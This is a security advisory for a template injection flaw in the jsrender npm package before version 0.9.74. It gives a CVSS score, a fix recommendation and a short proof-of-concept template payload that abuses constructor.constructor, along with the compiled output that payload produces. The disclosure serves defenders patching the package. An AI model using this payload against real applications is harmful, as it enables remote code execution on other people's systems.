Medium

Template Injection in jsrender

Disclosed: 01.09.2020
Updated: 11.10.2026 10:22

Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

Proof of Concept

//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}

//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }

Recommendation

Update to version 0.9.74 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	jsrender	< 0.9.74	0.9.74

References

CVSS score 6.3/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE): CWE-94
Platform: npm
Package: jsrender
Disclosed: 01.09.2020
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-r87w-47m8-22w3 - CC BY 4.0

Vulnerability history: jsrender

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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